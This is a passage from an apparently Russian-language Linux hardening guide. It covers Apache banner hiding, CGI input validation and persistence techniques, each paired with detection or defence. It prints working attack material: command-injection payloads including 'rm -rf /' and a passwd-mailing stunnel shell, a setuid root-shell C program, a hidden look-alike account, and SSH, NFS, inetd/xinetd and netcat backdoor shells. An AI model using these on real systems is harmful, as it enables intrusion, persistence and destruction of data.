Убедимся, что порт 79 закрыт брандмауэром.

```
bad_guy# nc -v -v secure-ftp.example.com 79
secure-ftp.example.com 79 (finger) : Connection refused
  set 0, rcvd 0

bad_guy# ftp-ozone secure-ftp.example.com 79

bad_guy# nc secure-ftp.example.com 79
root
Login: root               Name: Superuser
Directory: /root          Shell: /bin/bash
On since Thu Sep 17 12:15 (PST) on tty2
   7 hours 18 minutes idle
No mail
No Plan

bad_guy#
```

Программа ftp-ozone отправляет 123 символа точки “.”, за которыми следует команда PASV “227 (10,10,10,10,0,79)”. FTP-сервер определяет эту команду как некорректную и отвечает следующим сообщением об ошибке: “`... (много точек)... 227 (10,10,10,10,0,79)': command not understood`”.
Модуль ip_masq_ftp должен блокировать эту атаку.

74. Отправляемый сервером (Apache) заголовок позволяет получить ценную информацию.

```
user$ curl --head http://www.example.com | grep Server
Server: Apache/1.3.22 (Unix) (Red-Hat/Linux) mod_ssl/2.8.5 OpenSSL/0.9.6b DAV/1.0.2
   PHP/4.0.6 mod_perl/1.26 mod_throttle/3.1.2
```

Проще всего изменить значение переменной ServerTokens конфигурационного файла `httpd.conf`. Она может принимать следующие значения.

`Full`	Отображать полную информацию о названии сервера и установленных модулях.
`Min`	Предоставить сведения только о названии сервера и установленных модулях.
`ProductOnly`	Выводит только имя сервера.

После добавления указанной строчки в файл `httpd.conf`

```
ServerTokens ProductOnly
```

После этого сервер на запрос выдаст

```
user$ curl --head http://www.example.org | grep Server
Server: Apache
```

Также можно перекомпилировать Apache и выдать его за совершенно другой продукт. Для этого необходимо отредактировать файл `src/include/httpd.h` (для версии 2.0 - файл `include/ap_release.h`).

```
#define SERVER_BASEPRODUCT "Apache"
#define SERVER_BASEREVISION "1.3.26"
```

на

```
#define SERVER_BASEPRODUCT "MeinKampf"
#define SERVER_BASEREVISION "0.0.1"
```

Найдите в файле `os.h` следующее:

```
#define PLATFORM "Unix"
```

Первое, что мы поменяем, это тип нашей ОС, например на "OS-X" или "BOBAH-11". "Пионеров" и любителей CGI сканеров пугать уже можно. Теперь найдите в файле `httpd.h` примерно в строке 452 следующее:

```
#define SERVER_BASEVERSION "Apache/1.3.9"
```

Тут лучше все придерживаться определенной стратегии. Например, в целом "косить" под IIS5.0 или FrontPage Server. Для разнообразия можно будет создать пару фальшивых директорий, например, `/_vti_pvt/.htaccess` или еще что-нибудь, лучше все включить туда сложный фальшивый пароль.
Еще, пожалуй, стоит изменить строку находящуюся чуть ниже предыдущей:

```
#define SERVER_SUPPORT "http://www.apache.org/"
```

Опять же лучше придерживаться легенды...
Теперь надо "поколдовать" в `httpd.conf` и удалить все CGI скрипты, идущие с исходным кодов Apache. Вообщем, там, где можно, создавайте впечатление, что вы являетесь тем за кого себя выдаете. Проверьте все переменные, было бы неплохо добавить вот такие строчки:

```
ErrorDocument 404 /missing.html
ErrorDocument 500 "The server made a boo boo."
```

Чтобы при сканировании вашего сервера, сервер отвечал злоумышленнику по заранее намеченному сценарию. Apache позволят на каждое событие назначить определенную реакцию сервера. Вот список реактивов:

```
CONTINUE                        100
SWITCHING_PROTOCOLS             101
PROCESSING                      102
OK                              200
CREATED                         201
ACCEPTED                        202
NON_AUTHORITATIVE               203
NO_CONTENT                      204
RESET_CONTENT                   205
PARTIAL_CONTENT                 206
MULTI_STATUS                    207
MULTIPLE_CHOICES                300
MOVED_PERMANENTLY               301
MOVED_TEMPORARILY               302
SEE_OTHER                       303
NOT_MODIFIED                    304
USE_PROXY                       305
TEMPORARY_REDIRECT              307
BAD_REQUEST                     400
UNAUTHORIZED                    401
PAYMENT_REQUIRED                402
FORBIDDEN                       403
NOT_FOUND                       404
METHOD_NOT_ALLOWED              405
NOT_ACCEPTABLE                  406
PROXY_AUTHENTICATION_REQUIRED 407
REQUEST_TIME_OUT                408
CONFLICT                        409
GONE                            410
LENGTH_REQUIRED                 411
PRECONDITION_FAILED             412
REQUEST_ENTITY_TOO_LARGE        413
REQUEST_URI_TOO_LARGE           414
UNSUPPORTED_MEDIA_TYPE          415
RANGE_NOT_SATISFIABLE           416
EXPECTATION_FAILED              417
UNPROCESSABLE_ENTITY            422
LOCKED                          423
FAILED_DEPENDENCY               424
INTERNAL_SERVER_ERROR           500
NOT_IMPLEMENTED                 501
BAD_GATEWAY                     502
SERVICE_UNAVAILABLE             503
GATEWAY_TIME_OUT                504
VERSION_NOT_SUPPORTED           505
VARIANT_ALSO_VARIES             506
INSUFFICIENT_STORAGE            507
NOT_EXTENDED                    510
```

Некоторые более продвинутые CGI сканеры, реагируют на номер уровня ошибки, а не на вывод странички, тут можно тоже схитрить и присвоить значению 404, значение 200. В файле `httpd.h`:

```
#define HTTP_OK 200
```

чуть ниже

```
#define HTTP_NOT_FOUND 404
```

Поменяв 404 на 200, заставим клиентскую часть думать, что запрос прошел успешно. Фантазия у всех разная, каждый человек решают проблемы по разному, поэтому какой путь избрать, решать только вам самим.
Кроме того, в Apache имеются команды, которые большей частью запрещены, кроме основных:

```
GET
PUT
POST
DELETE
CONNECT
OPTIONS
TRACE
PATCH
PROPFIND
PROPPATCH
MKCOL
COPY
MOVE
LOCK
UNLOCK
INVALID
```

Например:

```
bash#: telnet lamer.org 80
DELETE /index.shtml HTTP/1.0
```

Возможно и такое, но по умолчанию в примере `httpd.conf` запрещены все команды кроме GET, HEAD, OPTIONS и TRACE. Ошибки могут возникнуть при создании виртуальных серверов, поэтому внимательно читайте документацию и проверяйте все директивы.
Очень многие пользователи и администраторы не утруждают себя лишней работой ввиду занятости, и скачивают уже скомпилированные и подбитые под их систему сервера. "Вылечить" заголовки можно и в этом случае, достаточно иметь под рукой любой 16-ричный редактор двоичных файлов. На самом деле это не так страшно и сложно, звучит на первый взгляд. Увеличить сегмент данных новичку будет сложно, поэтому проще будет "удалить" или "забить" пробелами информацию, которую вы хотите скрыть:

```
bash#: ./hex httpd или c:\>hiew.exe httpd.exe
```

Переходим в 16-ричный режим и находим текст, он будет в начала файла, например:

```
"Apache/1.3.0 (UNIX) PHP/3.0 FooBar/1.2b"
```

И делаем из него:

```
"Shadow-Server(MILL) C++/5.1 DoomII/1.2b"
```

Или просто вводим пробелы от A до b. Главное чтобы ваше новое сообщение не было больше старого, иначе испортите сегмент данных. Далее сохраняем наше творение и перезапускаем сервер, после этого проверяем результат:

```
telnet server.com 80
GET OPTIONS HTTP/1.0
```

И смотрим результат, вместо OPTIONS можно использовать HEAD, эффект в принципе для нас будет достаточным.
А вот пример «параноидальной» настройки конфигурационного файла.

```
#
# paranoid http configuration snippet.
```

```
#
# The following snippets are useful in
# configuring your Apache webserver to
# be a bit more paranoid.  And it
# isn't paranoia if they really are out
# to get you....
#
# Copyright 2002, James Lee and Brian Hatch
#
# Released under the GPL.  See COPYING file
# for more information.

<Files ~ "\.bak$">
    Order allow,deny
    Deny from all
</Files>

<FilesMatch "\.old$">
    Order allow,deny
    Deny from all
</FilesMatch>

<Files .htaccess>
    Order allow,deny
    Deny from all
</Files>

<Directory /usr/local/apache/htdocs/my_private_dir>
  AuthType        Basic
  AuthName       "My Private Directory"
  AuthUserFile    /usr/local/apache/misc/my_private_dir.htpasswd
  require         valid-user
</Directory>

<Location /server-status/>
    SetHandler server-status
    Order deny,allow
    Deny from all
    Allow from localhost
</Location>

<Location /server-info>
    SetHandler server-info
    Order deny,allow
    Deny from all
    Allow from .example.com
</Location>
```

75. Согласно протоколу HTTP, аутентификационные данные пользователя зашифровываются по алгоритму base64 и отправляются в HTTP-запросе, например, так:

```
GET /protected/directory HTTP/1.0
Host: www.example.com
Authorization: Basic c2VjcmV0OklBbUdvZA==
```

Поскольку аутентификационная строка передается открытым текстом, то его можно расшифровать:

```
bad_guy$ perl -MMIME::Base64 -le \
'print decode_base64"c2VjcmV0OklBbUdvZA=="'
secret:IamGod
```

Результат этой команды выдается в формате *name:password*.

76. Имеем CGI-программу. Например, если программа использует системный вызов, открывает файл или запускает конвейер. Допустим, существует элемент на форме.

```
<input type="text" name="file">
```

А управляет этим следующий код программы.

```
$file = $query->param('file');
system "ls $file";
```

Если в элемент управления ввести.

```
/tmp > /usr/local/apache/htdocs/index.html
```

Выполнение функции `system()` будет равнозначно выполнению следующего кода.

```
system "ls /tmp > /usr/local/apache/htdocs/index.html";
```

То есть главная страница сайта будет перезаписана информацией из каталога `/tmp`.
Например, есть программа для подсчета количества слов в имени файла.

```
$file = $query->param("file");
system "wc $file";
```

Если отправить следующую строку, которая будет передана в качестве значения для параметра file

```
a.dat; cat /etc/passwd
```

то будет выполнена команда

```
system "wc a.dat; cat /etc/passwd";
```

Или, предположим, что будут отправлены такие данные.

```
a.dat; rm -rf /
```

То есть будет выполнена команда.

```
system "wc a.dat; rm -rf /";
```

Для справки: выражение %3b является эквивалентом символа ; в шестнадцатеричной системе счисления - разделителя комаэ в командном интерпретаторе bourne. Допустим, для обработки введенного пользователем запроса вызывается утилита grep в форме

```
grep $name /web/private/people
```

Если указать в качестве переменной имени (`$name`) значение `%2E%20%2Fetc%2Fpasswd%3b%2Fusr%2fbin%2fid%3bls%20%2Fweb%2Fprivate`, оно при отсутствии проверки на соответствующие вводимые символы преобразуется в

```
grep . /etc/passwd;/usr/bin/id; ls /web/private /web/private/people
```

Теперь рассмотрим Perl-код, который открывает файл, отправленный пользовательским запросом.

```
open FH, "$file" or die $!;
while (<FH>)
      {
      #обработка строки
      }
```

Создатель этого кода ожидал, что пользователь введет имя файла, который находится в том же каталоге, что и CGI-программа. Если ввести в текстовое поле формы.

```
cat /etc/passwd |
```

То выполнение функции open() становится равнозначным выполнению команды

```
open FH, "cat /etc/passwd |"
```

А, например, строка

```
cat /etc/passwd | mail me@example.com ; stunnel -d 999 -l /bin/bash -- bash
-i
```

позволяет отправить копию файла паролей и затем организовать «защищенное» SSL-соединение со своим хостом с помощью программы Stunnel.
Рассмотрим еще один фрагмент CGI-кода.

```
open FH, "/usr/local/apache/misc/$file" or die $!;
while (<FH>)
      {
      #обработка строки
      }
```

В запросе можно послать следующую строку.

```
../../../../etc/passwd
```

В результате выполнение функции open() будет аналогично запуску команды

```
open FH, "/usr/local/apache/misc/../../../../etc/passwd" or die $!;
```

Чтобы избежать такой уязвимости, надо проверять данные на наличие запрещенных метасимволов.

```
#проверим, что данные содержать только буквы, цифры, символы
#подчеркивания и точки
if ($file =~ /^([\w\.]+)$/)
      {
      #данные безопасны, поэтому для отключения режима недоверия
      #используем переменную $1, которая хранит копию значения
      #переменной $file
      $file = $1

      #обработка переменной $file
      }
else
      {
      #присутствуют опасные символы, поэтому выдать сообщение об ошибке
      #и прекратить выполнение программы
}
```

77. Можно экспортировать файловую систему взломанного компьютера. В этом случае есть возможность внесения изменений в любые файлы даже без необходимости подключения к скомпрометированному хосту.

```
compromised# echo '/ bad_guy_comp(rw,no_root_squash)' >> /etc/exports
bad_guy_comp# finger grant@compromised.lax_security.org
grant: no such user.
bad_guy_comp# mount compromised.lax_security.org /mnt/blah
bad_guy_comp# cd /mnt/blah/etc/
bad_guy_comp# cat new_passwd_entry >> passwd
bad_guy_comp# cat new_passwd_entry >> shadow
bad_guy_comp# mkdir /mnt/blah/home/grant
bad_guy_comp# finger grant@compormised.lax_security.org
Login: grant                          Name: Grant D. T.
Directory: /home/grant                Shell: /bin/bash
```

Обнаружить это легко. Имя машины взломщика (хотя это еще вопрос: его ли это машина) явно указано в файле `/etc/exports` на скомпрометированном компьютере. Возможно, он применит команду

```
compromised# echo '/ rw,no_root_squash' >> /etc/exports
```

Если на компьютере запущена служба NFS, то администратор должен просматривать этот файл в качестве обычных действий по контролю и обслуживанию системы. Если компьютер не работает как NFS-сервер, то внесенные изменения очевидны благодаря простым командам `ps` или `rpcinfo`. Однако, скорее всего они заменены троянскими версиями и следует использовать программы с заведомо "чистого" хоста.

```
compromised$ ps -ef | egrep $interesting_processes
 bin    22173    1  0  04:20  ?    00:00:00  portmap
 root     225    1  0  04:53  ?    00:00:00  rpc.mountd --no-nfs-version 3
 root     917    1  0  04:43  ?    00:00:00  [nfsd]
 root   41900    1  0  04:43  ?    00:00:00  [lockd]
 root   14681    1  0  04:43  ?    00:00:00  [rpciod]

compromised$ rpcinfo -p localhost
 program vers proto  port
  100000    2   tcp   111  portmapper
  100000    2   udp   111  portmapper
  100005    1   udp  1004  mountd
  100005    1   tcp  1006  mountd
  100003    2   udp  2049  nfs
  100021    1   udp  1059  nlockmgr
  100021    3   udp  1059  nlockmgr
```

Простым способом для выявления несанкционированных изменений в данном случае является применение средств контроля доступа и целостности файлов `/etc/exports` и содержимого каталога `/etc/rc.d`, в котором хранятся сценарии, управляющие запуском и остановкой служб. А о запущенных сетевых службах можно быстро узнать, имея только утилиту netcat.

```
user$ nc -vv -z -w 3 localhost 1-65535
```

78. В состав большинства новых дистрибутивов Linux входит версия командного интерпретатора, которая не работает, если действительный идентификатор пользователя (uid) и эффективный идентификатор пользователя (euid) не совпадают. Однако, вместо простого копирования файла `/bin/sh` с установленными root-привилегиями, можно написать на C программу

```
/*
 * suidshell.c
 *
 * Compile with
 *      gcc -o suidshell suidshell.c -lcrypt
 *
```

```
 * Install setuserid root, run, and viola.
 * Not terribly impressive, and guarenteed to
 * be noticed by any sysadmin worth her salt.
 *
 * Copyright 2001, Brian Hatch
 * Released under the GPL.  See COPYING file
 * for more information.
 */

#include <stdio.h>
#include <unistd.h>
#define _XOPEN_SOURCE

int main() {
      char passwd[BUFSIZ];
      char encrypted[] = "00frf5lpj6212";

      /* Let's require that folks supply a password, just
       * to be sure any other users on this system can't
       * use this shell on their own. Last thing a hacker
       * needs on a compromised system is another hacker
       * goofing things up. No, we don't prompt for it -
       * that'd set off an administrator for sure...
       */
      system("/bin/stty -echo");
      read(0, passwd, BUFSIZ-1);
      system("/bin/stty echo");

      if ( strcmp( crypt(passwd, encrypted), encrypted) == 0 ) {
            setreuid(0,0);/* make real and effective userid root */
            system("/bin/bash");
      } else {
            sleep(200);/* make it look like we're doing something... */
      }
}
```

Запуск программы выглядит следующим образом.

```
compromised$ id
uid=502(reegen) gid=500(reegen) groups=500(reegen)
compromised$ ./suidshell
r00t/m3
[root@compromised]# id -a
uid=0(root) gid=500(reegen) groups=500(reegen)
```

79. Новая учетная запись упрощает следующие визиты злоумышленника.

```
compromised# echo 'mial:x:8:12:mail:/var/spool/mail:/bin/bash' \ >>
/etc/passwd
compromised# echo "mial:t83KkP9S1fDXE:::::::' >> /etc/shadow
```

Вышеприведенный код позволяет создать новую учетную запись с теми же идентификаторами пользователя mail, с похожим именем этой учетной записи, надеясь на то, что системный администратор не обратит на нее внимания и дополнительно получая полезные привилегии. Поскольку учетная запись mail обладает правами на изменений конфигурации почтовых служб и чтения всех почтовых сообщений, включая root, можно узнать, когда администратору станет известно о взломе компьютера. Используемым паролем будет - 137-mEin (это "Let me in" - догадались?)

80. Среди стандартных методов аутентификации для UNIX-систем можно назвать систему NIS или NIS+ (сетевые информационные службы) или протокол LDAP (упрощенный протокол доступа к

каталогам), OpenSSH. Все они, конечно, хранят пароли в стандартных каталогах `/etc/passwd`, `/etc/shadow`, однако удаление из них не влечет к прекращению доступа к серверу. Например, пакет Samba хранит пароли доступа в файле `/etc/samba/smbpasswd`.

81. Большинство систем электронной почты (sendmail, postfix) при доставке сообщений пользователю используют данные файла `~/.forward`, который позволяет передать сообщения электронной почты в другое место.

```
xahria@mailserver$ cat $HOME/.forward
xahria@my_other_email.account.com
```

или же может быть использован для запуска локальной программы доставки почтовых сообщений (да и любой другой).

```
xahria@mailserver$ cat $HOME/.forward
"|IFS=' ' && exec /usr/bin/procmail -f- || exit 75 #xahria"
```

82. Программа procmail позволяет применять различные способы фильтрации сообщений, при этом правила обработки сообщений задаются в файле `~/.procmailrc`. Например, содержимое следующего файла `.procmailrc` указывает на переадресацию спама в различные каталоги.

```
# Отправить нежелательное сообщение в специальную папку
:0Wc
|/usr/bin/razor-check
:0 Wa
IN.razor-spam

:0fw
| /usr/bin/spame

:0:
* ^X-Spam-Status: Yes
IN.spam

...

# Перехватить сообщения электронной почты для удаленного управления
:0:
* ^Subject: Run GPG Commands
|/home/xahria/bin/gpgrunit
```

То есть запускается программа gpgrunit, на вход которой подается содержимое почтового сообщения. Кроме того, оно удаляется из списка входящих сообщений и отправляется в папку для спама.

83. Сведения о заданиях демона crond хранятся в следующих файлах.

`/etc/cron.daily`	Все файлы этого каталога (как правило, сценарии для командного интерпретатора) запускаются от имени root один раз в сутки.
`/etc/cron.weekly`	Все файлы этого каталога запускаются от имени root один раз в неделы.
`/etc/crontab`	Обычно используется для запуска заданий cron в заданный момент времени.

/var/spool/cron/crontabs/*имя_пользователя* или /var/spool/cron/*имя_пользователя*	В этих файлах перечисляются команды, запускаемые в заданное время от имени пользователя, указанного с имени файла.

Если в дальнейшем учетная запись будет заблокирована, то задания cron будут по-прежнему запускаться по установленному графику.

```
[root@pinGUIn /var/spool/cron/crontabs/lockeduser]# crontab -u lockeduser -l
# min    hour    day    month    dayofweek
   18      *      *       *          *
/home/lockeduser/bin/donastythings
```

То есть пользователь lockeduser по-прежнему является владельцем процесса, запускаемого на 18-й минуте каждого часа.
Для отмены заданий cron лучше отредактировать файл crontab. Если можно, удалить из него все записи.

```
root# crontab -u lockeduser -e
```

Можно создать файл /etc/cron.allow и перечислить в нем имена пользователей, которым будет разрешено запускать задания cron.

84. Задания at (atjobs) запускаются только один раз для какого-то конкретного случая. Создать задание at можно так.

```
user$ at 12:30am today
at> ls
at> <ctrl-d>
warning: commands will be executed by /bin/sh
job 9 at 2002-04-19 04:43
user$ at -l
9    2002-04-19 04:43 a
```

В этом случае мы создали задание на запуск утилиты ls в 12:30 a.m. Результаты выполнения будут отправленны пользователю.
А можно и это запустить.

```
user$ cat at_script
#!/bin/sh
exec >/dev/null;   exec 2>/dev/null    # Отбросить выходные данные.

# Выполнение каких-то вредоносных действий.

at now + 10 minutes <<EOM
at_script
EOM

user$ at_script
warning: commands will be executed by /bin/sh
job 12 at 2002-04-19 04:50
```

С помощью команды `at -l` каждый пользователь может просмотреть список своих заданий. Естественно, пользователь root может просмотреть все задания, только информация предоставляется очень скудно.

```
root# at -l
18    2002-09-17 04:51  a
```

```
root# cd /var/spool/at
root# ls -l
-rwx------   1  cheryl   root    1959  Jul  31  09:58 a0001e010684a7*
-rwx------   1    lora   root    1917  Jul  31  09:59 b00021010577db*
```

Имена файлов, начинающиеся с символа *a* являются заданиями at, а те, которые начинаются с символа *b*, - заданиями batch. В отличие от заданий cron, в данном случае для предотвращения выполнения заданий достаточно удалить файлы из каталога `/var/spool/at`. Другим стандартным месторасположением этой утилиты является `/var/spool/cron/atjobs`. Большинство версий демона atd не выполняют заданий at, созданных пользователем, который был удален из системы. Можно создать файл /etc/at.allow, где будут перечислены имена всех пользователей, которым разрешено назначать задания at.

85. В файле `/etc/ssh/shosts.equiv` содержится список некоторых компьютеров. При этом пользователь одной из систем этой группы компьютеров способен подключаться к другим системам без ввода пароля. Любой пользователь может создать файл `~/.shosts`, в котором хранится комбинация имен хостов и имен пользователей с предоставлением такого же беспарольного доступа. Для получения доступа клиент должен доказать свою аутентичность. Последняя осуществляется с помощью механизма "запрос-ответ", встроенного в протокол SSH. На сервере в файле `/etc/ssh/ssh_known_hosts` хранится список открытых ключей SSH-клиентов. Для установления соединения клиент должен выслать свой открытый ключ (public key) и доказать, что обладает секретным ключом. Если в файлах hosts.equiv или .rhosts сожержаться записи о данном компьютере и открытый ключ клиента совпадает с ключом, хранящимся на сервере, то соединение устанавливается без введения пароля.
"А мы их так":

```
bad_guy# echo 'bad_guy_comp.example.com me' >> /etc/ssh/shosts.equiv
bad_guy# cat /tmp/bad_guy_comp.example.com.key\
>> #/etc/ssh/ssh_known_hosts

# Входим без пароля
me@bad_guy_comp.example.com$ ssh bad_guy
me@bad_guy$
```

В файле `/etc/ssh/sshd_config` можно задать значения четырех переменных, с помощью которых определяется уровень доверительных отношений между группой хостов.

`RhostsRSAAuthentication`	Разрешает доступ без пароля, если компьютер/пользователь указаны в файлах `shosts.equiv` или `.shosts`, но только в том случае, когда полученный ключ компьютера соответствует ключу, сохраненному на сервере (только для SSH1).
`HostbasedAuthentication`	Версия переменной `RhostsRSAAuthentication` для протокола SSH2.
`IgnoreRhosts`	Игнорировать пользовательские файлы `.shosts`. Позволяет использовать данные файла `/etc/shosts.equiv` и не разрешает пользователям самим предоставлять доступ без пароля.
`RhostsAuthentication`	Обеспечивает обратную совместимость с r-командами. Никакой проверки ключей не выполняется. Использовать не рекомендуется.

Для каждой переменной могут быть установлены значения yes или no. Выберите один из методов аутентификации без пароля и отредактируйте файл /etc/sshd_config. Для полного запрета подобной аутентификации строки должны выгладеть следующим образом.

```
RhostsRSAAuthentication no
RhostsAuthentication no
HostbasedAuthentication no
IgnoreRhosts yes
```

При использовании протокола OpenSSH с помощью специальных средств должны отслеживаться изменения таких файлов.

```
/etc/hosts.equiv
/etc/ssh/shosts.equiv
/home/*/.rhosts
/home/*/.shosts
/etc/ssh/sshd_config
/etc/ssh/ssh_known_hosts
```

В некоторых дистрибутивах Linux конфигурационные файлы протокола OpenSSH размещаются в каталоге /etc вместо /etc/ssh.

86. Кроме паролей, протокол SSH поддерживает аутентификацию пользователей по паре ключей открытый/секретный. На клиентском хосте пользователь создает свой секретный ключ с помощью программы ssh-keygen, для запуска которой требуется ввести отдельный пароль. Открытый ключ добавляется в файл $HOME/.ssh/authorized_keys SSH-сервера для учетной записи, которая будет получать доступ по этому ключу. Когда пользователь пытается организовать сеанс связи с удаленной машиной, клиент сообщает серверу открытый ключ для аутентификации. Если это допустимый ключ, сервер генерирует произвольный номер, шифрует его открытым ключом и значение отправляет клиенту. Клиент дешифрует это значение своим секретным ключом, вычисляет идентификационную фразу и отправляет назад серверу. Сервер проверяет идентификационную фразу и разрешает вход в систему без какого-либо UNIX-пароля.
То есть можно просто скопироватьсвой открытый ключ на скомпрометированный компьютер.

```
bad_guy_comp$ scp bad_guy.identity.pub compromised.example.org:/tmp
```

Добавляем этот ключ в файл authorized_keys

```
compromised# cat /tmp/bad_guy.identity.pub >> /root/.ssh/authorized_keys
```

Пытаемся войти в систему

```
bad_guy_comp$ ssh -lroot compromised.example.org
Enter passphrase for RSA key 'bad_guy@example.com': <введите идентификационную фразу>
compromised# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),10(wheel)
```

Запрашиваемая идентификационная фраза вычисляется с помощью секретного ключа взломщика и при желании может быть вообще удалена. Для доступа ко вломанному хосту потребуется только открытый ключ. Даже если пароль для учетной записи root на компьютере compromised будет изменен, подключаться все равно будет можно с помощью открытого ключа.
Если вход в систему с помощью аутентификации по открытому/секретному ключу не нужен, отключите этот метод аутентификации, добавив следующую строку в файл /etc/ssh/sshd_config.

```
RSAAuthentication no
PubkeyAuthentication no
```

Если такая аутентификация имеет место, то нужно настроить программы проверки целостности файлов на контроль за состоянием файла `/root/.ssh/authorized_keys`, а также пользовательских файлов `authorized_keys`.

87. Одним из наиболее простых способов удаленного запуска командного интерпретатора с привилегиями root является добавление соответствующей записи в файл `/etc/inetd.conf`. Предположим, что порт ingreslock не используется на взломанном компьютере. Добавим следующую строку

```
ingreslock  stream  tcp   nowait   root    /bin/bash -i
```

Поскольку соединение выполняется через сетевой сокет (терминал tty не используется), то не будет никаких дополнительных возможностей, таких как управление заданиями или вывод приглашения, но все равно можно выполнить любую команду от имени root.

```
bad_guy_comp$ nc -vv compromised.example.edu ingreslock
compromised.example.edu [172.18.9.1] 1524 (ingreslock) open
cd /root
ls -aC
.            .acrorc         .cshrc          .nessusrc
..           .bash_history   .mh_profile     Vmware-2.0.3-799.i386.rpm
.Xdefaults   .bashrc         .nessus.keys
```

Как обычно, желательно использовать команду `chattr +i` относительно файла `/etc/inetd.conf` и других конфигурационных файлов, что защитит от большинства несложных программ атаки. Еще лучше - вообще не запускать inetd. Большинство служб, доступных с помощью inetd, могут (и должны) быть отключены и заменены протоколом OpenSSH. Inetd занимает много портов, и для каждого подключения запускает сервер нужного типа. Самые известные из сервисов Inetd - это ftp, telnet, pop, imap, finger. Вы можете получить список сервисов в `/etc/services`, и так же посмотреть на статус ваших сервисов. Для конфигурации суперсервера inetd используют `/etc/inetd.conf`.
Пример того, что можно увидеть в inetd.conf:

```
(порт) (тип) (протокол) (ожидание) (UID)   (программа)   (аргументы)
telnet stream    tcp      nowait    root /usr/sbin/tcpd  in.telnetd
```

Вот - пример файла `inetd.conf`.

```
ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
shell stream tcp nowait root /usr/sbin/tcpd in.rshd
login stream tcp nowait root /usr/sbin/tcpd in.rlogind
talk dgram udp wait nobody.tty /usr/sbin/tcpd in.talkd
talk dgram udp wait nobody.tty /usr/sbin/tcpd in.ntalkd
finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd
linuxconf stream tcp wait root /bin/linuxconf linuxconf --http
```

Обратите внимание на сервисы, у которых в графе UID стоит root. Эти программы имеют права root'a. И если кто-нибудь захватит контроль над одним из этих сервисов, то у вас появятся большие проблемы. Поэтому проверка сервисов очень важна.

88. Демон xinetd использует информацию файла `/etc/xinetd.conf` и любого из файлов в каталоге для конфигурационных файлов `/etc/xinetd.d`. Добавлением нужных строк, например, следующих.

```
compromised# cat /etc/xinetd.d/ingreslock
service ingreslock
```

```
{
      port        = ingreslock
      socket type = stream
      wait        = no
      user        = root
      server      = /bin/bash
      server_args = -i
      disable     = no
}
compromised# killall -USR2 xinetd
```

Как и в прошлом случае, злоумышленнику остается только подключиться к порту ingreslock.

```
bad_guy_comp$ nc -vv compromised.example.edu ingreslock
compromised.example.edu [172.18.9.1] 1524 (ingreslock) open
compromised$ id
uid=0(root) gid=0(root) groups=0(root)
```

Меры защиты аналогичны защите inetd. Организуйте проверку целостности файлов `/etc/xinetd.conf` и `/etc/xinetd.d/*`. Любые новые файлы каталога должны немедленно проверяться.
Хотя в обеих случаях можно обойтись без изменения этих файлов. Ведь можно запустить inetd или xinetd, используя отдельный конфигурационный файл, и запустить inetd вручную.

```
compromised# cat > /tmp/inetd.conf <<EOM
ingreslock stream  tcp   nowait  root   /bin/bash -i
amanda     stream  tcp   nowait  root   /usr/bin/reboot
EOM
compromised# /usr/sbin/inetd /tmp/inetd/conf
```

В данном случае командный интерпретатор с привилегиями root будет доступен на первом порту (ingreslock), а с помощью второго можно быстро выполнить перезагрузку компьютера.
То же самое может быть проделано и для демона xinetd.

```
compromised# cat > /tmp/xinetd.conf <<EOM
service ingreslock
{
      port        = ingreslock
      socket type = stream
      wait        = no
      user        = root
      server      = /bin/bash
      server_args = -i
      disable     = no
}
EOM
compromised# /usr/sbin/xinetd -f /tmp/xinetd.conf
```

От данной атаки защититься нелегко. Даже если запретить обычным пользователям запускать inetd и xinetd, возможно загрузить или скомпилировать собственную копию inetd и xinetd и запустить ее. Поможет защититься брандмауэр или набор правил Netfilter на запрет всех входящих соединений, кроме тех, которые выделены для запущенных служб. Правда в этом случае придется долго думать, что разрешать, а что блокировать.

89. Можно воспользоваться утилитой netcat. Прежде всего создадим сценарий для запуска командного интерпретатора.

```
compromised# cat /tmp/rootshell
#!/bin/bash -i

compromised# nc -vv -l -p -e /tmp/rootshell
```

```
listening on [any] 9999 ....
connect to [127.0.0.1] from bad_guy_comp [172.18.9.1] 2038
```

После этого он подключается со своего компьютера

```
bad_guy_comp# nc -vv compromised.example.edu 9999
compromised.example.edu [172.18.9.1] 999 (?) open
[root@compromised]# w
 11:17am  up  180  days, 38 min, 4 users,  load average: 1.89, 1.56, 1.23
 USER     TTY        FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
 reegen       tty1      -                19Apr 0  1.00s  0.46s   ?     -
 maddie       pts/0     ws.5.example.edu 27Nov 0  2days  0.33s  0.13s  ksh
[root@compromised]#
```

Если системный администратор захочет посмотреть список запущенных процессов, он получит следующий результат.

```
compromised$ ps -ef|egrep 'flush|nc|netc'
root        2     1  0 Dec 6 ?        00:00:06 [kflushd]
root    30757     1  0 11:55 ?        00:00:00 [flushd]
root    30758  30757  0 11:55 ?        00:00:00 [flushd]
```

Процесс под номером 30757 является демоном runnc, а под номером 30758 - обслуживающей программой runnc (процесс под номером 2 является настоящим системным демоном kflushd и не относится к нашей программе атаки). Каждый из них указан под именем [flushd]. Обратите внимание, что запущенные программы бубут отображены с помощью ps следующим образом.

```
compromised$ ps -ef |grep 30758
root     30758  30757   0 11:55 ?      00:00:00  [flushd]
root     30928  30758   0 18:10 ?      00:00:00  find / -name \*.mp3 -print
```

90. Для многих служб в целях аутентификации пользователей стали применяться стандартные подгружаемые модули аутентификации (PAM) вместо независимой аутентификации для каждой программы. С помощью троянских PAM-библиотек можно получить возможность добавить "магические" пароли сразу для нескольких служб, даже не изменяя демоны этих служб.
Рассмотрим пример использования программы идентификации пользователей /bin/login на компьютере, где запущена Debian 3.0. Программа использует PAM-конфигурацию, определенную в файле `/etc/pam.d/login`.

```
auth       requisite  pam_securetty.so
auth       requisite  pam_nologin.so
auth       required   pam_env.so
auth       required   pam_unix.so nullok
account    required   pam_unix.so
session    required   pam_unix.so
session    optional   pam_lastlog.so
session    optional   pam_motd.so
session    optional   pam_mail.so standard noenv
password   required   pam_unix.so nullok obscure min=5 max=8
```

Попробуем подключиться (запустить `/bin/login`) с локального терминала.

```
brenda@machine$ /bin/login
login: george
Password: <попытка угадать пароль>
Login incorrect.
```

Допустим, мы закомментировали строку auth, содержащую `/lib/security/pam_pwdb.so`, и снова попытались запустить `/bin/login`.

```
brenda@machine$ /bin/login
login: george
george@machine$ whoami
george
```

